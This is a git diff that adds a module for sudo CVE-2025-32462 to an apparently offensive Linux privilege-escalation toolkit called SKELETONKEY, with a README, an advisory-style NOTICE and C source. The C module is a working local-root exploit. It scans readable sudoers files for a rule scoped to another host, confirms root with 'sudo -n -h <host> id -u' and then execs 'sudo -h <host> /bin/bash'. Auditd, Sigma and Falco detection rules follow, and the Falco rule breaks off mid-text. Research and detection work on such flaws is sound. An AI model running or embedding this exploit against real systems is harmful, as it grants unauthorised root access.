<code>--list</code> shows ✓ per module.
|
||||||
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="container">
|
<div class="container">
|
||||||
<div class="section-head">
|
<div class="section-head">
|
||||||
<span class="section-tag">corpus</span>
|
<span class="section-tag">corpus</span>
|
||||||
<h2>35 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
<h2>36 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<h3 class="corpus-h" data-color="green">
|
<h3 class="corpus-h" data-color="green">
|
||||||
@@ -331,6 +331,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<span class="pill green">cgroup_release_agent</span>
|
<span class="pill green">cgroup_release_agent</span>
|
||||||
<span class="pill green kev">★ ptrace_traceme</span>
|
<span class="pill green kev">★ ptrace_traceme</span>
|
||||||
<span class="pill green">sudoedit_editor</span>
|
<span class="pill green">sudoedit_editor</span>
|
||||||
|
<span class="pill green">sudo_host</span>
|
||||||
<span class="pill green">entrybleed</span>
|
<span class="pill green">entrybleed</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -415,7 +416,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="audience-icon">🎓</div>
|
<div class="audience-icon">🎓</div>
|
||||||
<h3>Researchers / CTF</h3>
|
<h3>Researchers / CTF</h3>
|
||||||
<p>
|
<p>
|
||||||
35 CVEs, 10-year span, each with the original PoC author
|
36 CVEs, 10-year span, each with the original PoC author
|
||||||
credited and the kernel-range citation auditable.
|
credited and the kernel-range citation auditable.
|
||||||
<code>--explain</code> shows the reasoning chain; detection
|
<code>--explain</code> shows the reasoning chain; detection
|
||||||
rules let you practice both sides. Source is the documentation.
|
rules let you practice both sides. Source is the documentation.
|
||||||
@@ -512,7 +513,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="tl-col tl-shipped">
|
<div class="tl-col tl-shipped">
|
||||||
<div class="tl-tag">shipped</div>
|
<div class="tl-tag">shipped</div>
|
||||||
<ul>
|
<ul>
|
||||||
<li><strong>28 of 35 CVEs empirically verified</strong> in real Linux VMs</li>
|
<li><strong>28 of 36 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||||
|
|||||||
@@ -0,0 +1,63 @@
|
|||||||
|
# sudo_host — CVE-2025-32462
|
||||||
|
|
||||||
|
sudo `-h`/`--host` option honored beyond `-l` → abuse a host-restricted
|
||||||
|
sudoers rule for local root.
|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
`sudo -h <host>` (a.k.a. `--host`) exists so that, combined with `-l`,
|
||||||
|
you can list your sudo privileges *as they would apply on another host*.
|
||||||
|
The flaw: sudo also consulted the `-h` value when **running a command**
|
||||||
|
(and in `sudoedit`), so the host portion of a sudoers rule — normally
|
||||||
|
fixed to the machine you're on — becomes attacker-chosen.
|
||||||
|
|
||||||
|
If your sudoers contains a rule like:
|
||||||
|
|
||||||
|
```
|
||||||
|
alice webhost01 = (root) /usr/bin/systemctl
|
||||||
|
```
|
||||||
|
|
||||||
|
then on a *different* machine `alice` normally can't use it. With the
|
||||||
|
bug, `sudo -h webhost01 /usr/bin/systemctl ...` runs as root on the
|
||||||
|
local box. With a broader rule (`webhost01 = (ALL) ALL`), `sudo -h
|
||||||
|
webhost01 /bin/bash` is a root shell.
|
||||||
|
|
||||||
|
This matters most where one sudoers file (or LDAP/SSSD sudoers) is shared
|
||||||
|
across a fleet and rules are scoped per host.
|
||||||
|
|
||||||
|
## Affected range
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| Affected | sudo 1.8.8 → 1.9.17p0 (~12-year-old behaviour) |
|
||||||
|
| Fixed | sudo 1.9.17p1 |
|
||||||
|
| Weakness | CWE-863 (Incorrect Authorization) |
|
||||||
|
| Severity | CVSS 8.8 (High); not in CISA KEV |
|
||||||
|
|
||||||
|
## Trigger / detection
|
||||||
|
|
||||||
|
`detect()` reads the sudo version (shared host fingerprint, else a live
|
||||||
|
`sudo --version`) and returns VULNERABLE inside `[1.8.8, 1.9.17p0]`,
|
||||||
|
OK otherwise. The exploitable precondition — a host-restricted sudoers
|
||||||
|
rule — is not reliably probeable from an unprivileged context, so the
|
||||||
|
empirical confirmation lives in the exploit path.
|
||||||
|
|
||||||
|
`exploit()`:
|
||||||
|
1. Resolves the host token to abuse: `SKELETONKEY_SUDO_HOST` env var, or
|
||||||
|
a best-effort scan of readable `/etc/sudoers` + `/etc/sudoers.d/*` for
|
||||||
|
a user-spec whose host is neither the current hostname nor `ALL`.
|
||||||
|
2. Witnesses with `sudo -n -h <host> id -u` (non-interactive).
|
||||||
|
3. On a uid-0 witness, execs `sudo -h <host> /bin/bash`
|
||||||
|
(override the command with `SKELETONKEY_SUDO_CMD`).
|
||||||
|
|
||||||
|
Returns `EXPLOIT_FAIL` with operator guidance when no abusable rule is
|
||||||
|
discoverable — it never fabricates root.
|
||||||
|
|
||||||
|
## Fix / mitigation
|
||||||
|
|
||||||
|
Upgrade sudo to 1.9.17p1 or later. There is no safe runtime toggle for
|
||||||
|
the `-h` behaviour short of the patch.
|
||||||
|
|
||||||
|
## Credit
|
||||||
|
|
||||||
|
Rich Mirch — Stratascale CRU (2025-06-30). See `NOTICE.md`.
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
# NOTICE — sudo_host (CVE-2025-32462)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2025-32462** — sudo's `-h`/`--host` option, intended only to be
|
||||||
|
used with `-l`/`--list` to display a user's privileges on a *different*
|
||||||
|
host, was also honored when actually running a command (or via
|
||||||
|
`sudoedit`). This lets a user evaluate the sudoers policy as though the
|
||||||
|
machine were some other host: a sudoers rule scoped to a host that is
|
||||||
|
neither the current machine nor `ALL` becomes usable locally via
|
||||||
|
`sudo -h <that-host> <command>`, yielding command execution as root.
|
||||||
|
|
||||||
|
Primarily affects sites that distribute one sudoers file across a fleet,
|
||||||
|
or use LDAP/SSSD-based sudoers, where host-restricted rules are common.
|
||||||
|
|
||||||
|
- Affected: sudo **1.8.8** through **1.9.17p0** (the `-h` behaviour is
|
||||||
|
~12 years old). Fixed in **1.9.17p1**.
|
||||||
|
- CWE-863 (Incorrect Authorization). CVSS 8.8 (High). Not in CISA KEV
|
||||||
|
(the sibling `--chroot` bug CVE-2025-32463 is).
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **Rich Mirch — Stratascale Cyber Research
|
||||||
|
Unit (CRU)**, published 2025-06-30 alongside CVE-2025-32463.
|
||||||
|
|
||||||
|
- sudo.ws advisory: <https://www.sudo.ws/security/advisories/host_any/>
|
||||||
|
- Stratascale writeup:
|
||||||
|
<https://www.stratascale.com/resource/cve-2025-32462-sudo-host-option-vulnerability/>
|
||||||
|
- Fixed in sudo 1.9.17p1 (Todd C. Miller, upstream maintainer).
|
||||||
|
|
||||||
|
All research credit belongs to Rich Mirch / Stratascale and the sudo
|
||||||
|
maintainers. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
🟢 **Structural escape (config-gated).** No offsets, no leak, no race.
|
||||||
|
`detect()` gates on the sudo version (the host-restricted rule lives in a
|
||||||
|
sudoers source the user usually cannot read — that opacity is the bug),
|
||||||
|
so a VULNERABLE verdict means "vulnerable sudo present; an abusable rule
|
||||||
|
may exist". `exploit()` best-effort reads `/etc/sudoers` +
|
||||||
|
`/etc/sudoers.d/*` for a user-spec whose host field is neither the
|
||||||
|
current hostname nor `ALL` (or takes the host from
|
||||||
|
`SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and
|
||||||
|
pops `sudo -h <host> /bin/bash` (override via `SKELETONKEY_SUDO_CMD`)
|
||||||
|
only on a confirmed uid-0 witness — never claims root it did not get.
|
||||||
|
|
||||||
|
Mitigation: upgrade sudo to 1.9.17p1+. Architecture-agnostic
|
||||||
|
(pure userspace). Joins the shared `sudo` family alongside
|
||||||
|
`sudo_chwoot`, `sudo_samedit`, `sudo_runas_neg1`, and `sudoedit_editor`.
|
||||||
@@ -0,0 +1,441 @@
|
|||||||
|
/*
|
||||||
|
* sudo_host_cve_2025_32462 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* STATUS: 🟢 STRUCTURAL (config-gated). No offsets, no leak, no race.
|
||||||
|
* Pure authorization-logic flaw: sudo's `-h`/`--host` option — meant
|
||||||
|
* only to pair with `-l`/`--list` to show your privileges on ANOTHER
|
||||||
|
* host — was honored when actually *running* a command (or sudoedit).
|
||||||
|
* That makes the host field of a sudoers rule attacker-chosen: a rule
|
||||||
|
* scoped to some host other than the current machine becomes usable
|
||||||
|
* here via `sudo -h <that-host> <command>`.
|
||||||
|
*
|
||||||
|
* The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside
|
||||||
|
* the sibling --chroot bug CVE-2025-32463):
|
||||||
|
* `sudo -h <host> <command>` evaluates the sudoers policy as though
|
||||||
|
* the machine were <host>. A user listed in sudoers for a different
|
||||||
|
* host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers)
|
||||||
|
* can therefore run that host's commands as root on the local box.
|
||||||
|
*
|
||||||
|
* sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/
|
||||||
|
*
|
||||||
|
* Affects: sudo 1.8.8 ≤ V ≤ 1.9.17p0 (the `-h` option behaviour is
|
||||||
|
* ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside
|
||||||
|
* `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in
|
||||||
|
* CISA KEV (the sibling 32463 is).
|
||||||
|
*
|
||||||
|
* Precondition for exploitation (NOT for detection): the invoking user
|
||||||
|
* must already be listed in sudoers for a host that is neither the
|
||||||
|
* current hostname nor ALL. detect() can only gate on the sudo
|
||||||
|
* version (the host-restricted rule lives in a sudoers source the user
|
||||||
|
* usually cannot read — that opacity is the whole point of the bug),
|
||||||
|
* so a VULNERABLE verdict here means "vulnerable sudo present; an
|
||||||
|
* abusable host-restricted rule MAY exist". exploit() then tries to
|
||||||
|
* find/fire one (or takes the host+command from env vars).
|
||||||
|
*
|
||||||
|
* arch_support: any. Pure userspace; no shellcode.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
#include <pwd.h>
|
||||||
|
#include <grp.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */
|
||||||
|
|
||||||
|
static const char *find_sudo(void)
|
||||||
|
{
|
||||||
|
static const char *candidates[] = {
|
||||||
|
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||||
|
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; candidates[i]; i++) {
|
||||||
|
struct stat st;
|
||||||
|
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||||
|
return candidates[i];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||||
|
{
|
||||||
|
char cmd[512];
|
||||||
|
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return false;
|
||||||
|
char line[256] = {0};
|
||||||
|
char *r = fgets(line, sizeof line, p);
|
||||||
|
pclose(p);
|
||||||
|
if (!r) return false;
|
||||||
|
char *vp = strstr(line, "version");
|
||||||
|
if (!vp) return false;
|
||||||
|
vp += strlen("version");
|
||||||
|
while (*vp == ' ' || *vp == '\t') vp++;
|
||||||
|
char *nl = strchr(vp, '\n');
|
||||||
|
if (nl) *nl = 0;
|
||||||
|
strncpy(out, vp, outsz - 1);
|
||||||
|
out[outsz - 1] = 0;
|
||||||
|
return out[0] != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0].
|
||||||
|
* Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */
|
||||||
|
static bool sudo_version_vulnerable_host(const char *v)
|
||||||
|
{
|
||||||
|
int maj = 0, min = 0, patch = 0;
|
||||||
|
char ptag = 0;
|
||||||
|
int psub = 0;
|
||||||
|
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||||
|
if (n < 3) return true; /* unparseable → assume worst */
|
||||||
|
if (maj != 1) return false;
|
||||||
|
if (min < 8) return false; /* 1.7.x and below predate */
|
||||||
|
if (min == 8) return patch >= 8; /* 1.8.8 .. 1.8.x */
|
||||||
|
if (min > 9) return false; /* 1.10+ (hypothetical) fixed */
|
||||||
|
/* min == 9 */
|
||||||
|
if (patch < 17) return true; /* 1.9.0 .. 1.9.16 */
|
||||||
|
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||||
|
/* exactly 1.9.17 */
|
||||||
|
if (ptag != 'p') return true; /* 1.9.17 plain → vulnerable */
|
||||||
|
return psub == 0; /* 1.9.17p0 vuln; p1+ fixed */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const char *sudo_path = find_sudo();
|
||||||
|
if (!sudo_path) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
char vbuf[64] = {0};
|
||||||
|
const char *ver = NULL;
|
||||||
|
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||||
|
ver = ctx->host->sudo_version;
|
||||||
|
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||||
|
ver = vbuf;
|
||||||
|
} else {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver);
|
||||||
|
|
||||||
|
if (!sudo_version_vulnerable_host(ver)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range "
|
||||||
|
"[1.8.8, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||||
|
fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` — a sudoers "
|
||||||
|
"rule scoped to a non-current host is usable via `sudo -h <host>`\n");
|
||||||
|
fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule "
|
||||||
|
"(common with fleet-wide / LDAP / SSSD sudoers). Run "
|
||||||
|
"`--exploit sudo_host --i-know` to find/fire one.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit -------------------------------------------------------- */
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
/* Does `tok` name a host that is exploitable from here — i.e. a specific
|
||||||
|
* host that is neither the current hostname nor the ALL wildcard? */
|
||||||
|
static bool host_is_abusable(const char *tok, const char *cur_host)
|
||||||
|
{
|
||||||
|
if (!tok || !*tok) return false;
|
||||||
|
if (strcmp(tok, "ALL") == 0) return false; /* no restriction → no bug */
|
||||||
|
if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */
|
||||||
|
if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */
|
||||||
|
/* A bare short-hostname form of the FQDN counts as "us" too. */
|
||||||
|
const char *dot = strchr(cur_host, '.');
|
||||||
|
if (dot) {
|
||||||
|
size_t shortlen = (size_t)(dot - cur_host);
|
||||||
|
if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0)
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort scan of a sudoers source for a rule whose host field is
|
||||||
|
* abusable. Fills *host_out with the host token to pass to `sudo -h`.
|
||||||
|
* Returns true on the first hit. We do not try to fully parse the
|
||||||
|
* sudoers grammar — we look for `<who> <host> = ...` user-spec lines and
|
||||||
|
* test the host token. who may be the user, a %group, or ALL. */
|
||||||
|
static bool scan_sudoers_file(const char *path, const char *user,
|
||||||
|
const char *cur_host, char *host_out, size_t host_sz)
|
||||||
|
{
|
||||||
|
FILE *f = fopen(path, "r");
|
||||||
|
if (!f) return false;
|
||||||
|
char line[1024];
|
||||||
|
bool hit = false;
|
||||||
|
while (fgets(line, sizeof line, f)) {
|
||||||
|
char *s = line;
|
||||||
|
while (*s == ' ' || *s == '\t') s++;
|
||||||
|
if (*s == '#' || *s == '\n' || *s == 0) continue;
|
||||||
|
if (strncmp(s, "Defaults", 8) == 0) continue;
|
||||||
|
if (strstr(s, "_Alias")) continue; /* alias defs, not user specs */
|
||||||
|
if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue;
|
||||||
|
|
||||||
|
/* Must contain '=' (the host = command separator). */
|
||||||
|
char *eq = strchr(s, '=');
|
||||||
|
if (!eq) continue;
|
||||||
|
|
||||||
|
/* who = first token; host = second token (before '='). */
|
||||||
|
char who[128] = {0}, host[256] = {0};
|
||||||
|
if (sscanf(s, "%127s %255s", who, host) != 2) continue;
|
||||||
|
/* strip a trailing '=' that sscanf may have grabbed onto host */
|
||||||
|
char *he = strchr(host, '=');
|
||||||
|
if (he) *he = 0;
|
||||||
|
if (!host[0]) continue;
|
||||||
|
|
||||||
|
bool who_match = (strcmp(who, "ALL") == 0) ||
|
||||||
|
(strcmp(who, user) == 0) ||
|
||||||
|
(who[0] == '%'); /* group — best-effort match */
|
||||||
|
if (!who_match) continue;
|
||||||
|
|
||||||
|
if (host_is_abusable(host, cur_host)) {
|
||||||
|
snprintf(host_out, host_sz, "%s", host);
|
||||||
|
hit = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
return hit;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Try to discover an abusable host token from readable sudoers sources.
|
||||||
|
* Most non-root users cannot read these (that's the bug's opacity), but
|
||||||
|
* misconfigured / world-readable sudoers and some LDAP cache dumps are
|
||||||
|
* common enough to be worth a look. */
|
||||||
|
static bool discover_abusable_host(const char *user, const char *cur_host,
|
||||||
|
char *host_out, size_t host_sz)
|
||||||
|
{
|
||||||
|
if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz))
|
||||||
|
return true;
|
||||||
|
/* /etc/sudoers.d/* — enumerate via shell glob into a temp listing. */
|
||||||
|
FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r");
|
||||||
|
if (p) {
|
||||||
|
char name[256];
|
||||||
|
while (fgets(name, sizeof name, p)) {
|
||||||
|
char *nl = strchr(name, '\n'); if (nl) *nl = 0;
|
||||||
|
if (!name[0]) continue;
|
||||||
|
char full[512];
|
||||||
|
snprintf(full, sizeof full, "/etc/sudoers.d/%s", name);
|
||||||
|
if (scan_sudoers_file(full, user, cur_host, host_out, host_sz)) {
|
||||||
|
pclose(p);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pclose(p);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Run `sudo -n -h <host> id -u` and return true if it printed "0"
|
||||||
|
* (command executed as root). -n keeps it non-interactive so a password
|
||||||
|
* prompt can't hang the scan. */
|
||||||
|
static bool sudo_host_witness_root(const char *sudo_path, const char *host)
|
||||||
|
{
|
||||||
|
char cmd[768];
|
||||||
|
snprintf(cmd, sizeof cmd,
|
||||||
|
"%s -n -h %s id -u 2>/dev/null", sudo_path, host);
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return false;
|
||||||
|
char out[64] = {0};
|
||||||
|
char *r = fgets(out, sizeof out, p);
|
||||||
|
pclose(p);
|
||||||
|
if (!r) return false;
|
||||||
|
return atoi(out) == 0 && (out[0] == '0');
|
||||||
|
}
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
#ifndef __linux__
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] sudo_host: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
#else
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
skeletonkey_result_t pre = sudo_host_detect(ctx);
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
|
fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n");
|
||||||
|
return pre;
|
||||||
|
}
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] sudo_host: already running as root — nothing to do\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
const char *sudo_path = find_sudo();
|
||||||
|
if (!sudo_path) {
|
||||||
|
fprintf(stderr, "[-] sudo_host: sudo not installed\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
char cur_host[256] = {0};
|
||||||
|
if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0;
|
||||||
|
struct passwd *pw = getpwuid(geteuid());
|
||||||
|
const char *user = pw ? pw->pw_name : "";
|
||||||
|
|
||||||
|
/* The host token to abuse. Source priority:
|
||||||
|
* 1. SKELETONKEY_SUDO_HOST env var (operator supplies it — the most
|
||||||
|
* reliable path, since the host-restricted rule usually lives in
|
||||||
|
* a sudoers source the user can't read).
|
||||||
|
* 2. Best-effort discovery from readable sudoers. */
|
||||||
|
char host_tok[256] = {0};
|
||||||
|
const char *envh = getenv("SKELETONKEY_SUDO_HOST");
|
||||||
|
if (envh && *envh) {
|
||||||
|
snprintf(host_tok, sizeof host_tok, "%s", envh);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok);
|
||||||
|
} else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule "
|
||||||
|
"(host '%s' != current '%s') in readable sudoers\n",
|
||||||
|
host_tok, cur_host);
|
||||||
|
} else {
|
||||||
|
fprintf(stderr,
|
||||||
|
"[-] sudo_host: no abusable host-restricted rule discoverable.\n"
|
||||||
|
" The vulnerable sudo is present, but exploitation needs a sudoers\n"
|
||||||
|
" rule scoped to a host other than '%s' (and not ALL), which is\n"
|
||||||
|
" typically in a sudoers source you cannot read. If you know one\n"
|
||||||
|
" (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n"
|
||||||
|
" SKELETONKEY_SUDO_HOST=<that-host> \\\n"
|
||||||
|
" [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n"
|
||||||
|
" skeletonkey --exploit sudo_host --i-know\n",
|
||||||
|
cur_host[0] ? cur_host : "(this host)");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Confirm the policy actually grants root on the local box when we
|
||||||
|
* claim to be host_tok. `id -u` as the witness command. */
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok);
|
||||||
|
if (!sudo_host_witness_root(sudo_path, host_tok)) {
|
||||||
|
fprintf(stderr,
|
||||||
|
"[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n"
|
||||||
|
" - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n"
|
||||||
|
" - the rule for '%s' is command-restricted (doesn't grant `id`);\n"
|
||||||
|
" set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n"
|
||||||
|
" - the rule requires a password (we run -n / non-interactive)\n",
|
||||||
|
host_tok, host_tok);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_host: WITNESS — `sudo -h %s` runs as uid 0. "
|
||||||
|
"CVE-2025-32462 confirmed.\n", host_tok);
|
||||||
|
|
||||||
|
if (ctx->no_shell) {
|
||||||
|
fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: "
|
||||||
|
"sudo -h %s <command>\n", host_tok);
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Pop a root shell via the abused host. The granted command may be
|
||||||
|
* restricted; default to /bin/bash but let the operator override to
|
||||||
|
* whatever the rule actually permits. */
|
||||||
|
const char *cmd = getenv("SKELETONKEY_SUDO_CMD");
|
||||||
|
if (!cmd || !*cmd) cmd = "/bin/bash";
|
||||||
|
fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd);
|
||||||
|
fflush(NULL);
|
||||||
|
execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL);
|
||||||
|
perror("execl(sudo -h)");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
#endif /* __linux__ */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detection rules ------------------------------------------------ */
|
||||||
|
|
||||||
|
static const char sudo_host_auditd[] =
|
||||||
|
"# sudo_host CVE-2025-32462 — auditd detection rules\n"
|
||||||
|
"# Flag sudo invocations; the abuse is `sudo -h <host>` running a\n"
|
||||||
|
"# command (not just `-l`). auditd can't filter argv content, so this\n"
|
||||||
|
"# watches sudo execve broadly — correlate with sudo's own logs, which\n"
|
||||||
|
"# record the -h/--host value and the target command.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-host\n";
|
||||||
|
|
||||||
|
static const char sudo_host_sigma[] =
|
||||||
|
"title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n"
|
||||||
|
"id: 7c1d9e54-skeletonkey-sudo-host\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects sudo invoked with -h/--host together with a command (not\n"
|
||||||
|
" -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n"
|
||||||
|
" running commands, letting a user abuse a sudoers rule scoped to a\n"
|
||||||
|
" different host. False positives: admins legitimately using\n"
|
||||||
|
" `sudo -l -h <host>` to LIST remote privileges (no command present).\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||||
|
" host_opt: {argv|contains: ['-h', '--host']}\n"
|
||||||
|
" condition: sudo_exec and host_opt\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n";
|
||||||
|
|
||||||
|
static const char sudo_host_falco[] =
|
||||||
|
"- rule: sudo --host running a command by non-root (CVE-2025-32462)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" sudo invoked with -h/--host while running a command (not -l). On\n"
|
||||||
|
" sudo <= 1.9.17p0 the host option is wrongly honored outside\n"
|
||||||
|
" --list, so a sudoers rule scoped to another host can be abused\n"
|
||||||
|
" for local root. False positives: `sudo -l -h <host>` used purely\n"
|
||||||
|
" to list remote privileges.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" spawned_process and proc.name = sudo and\n"
|
||||||
|
" (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n"
|
||||||
|
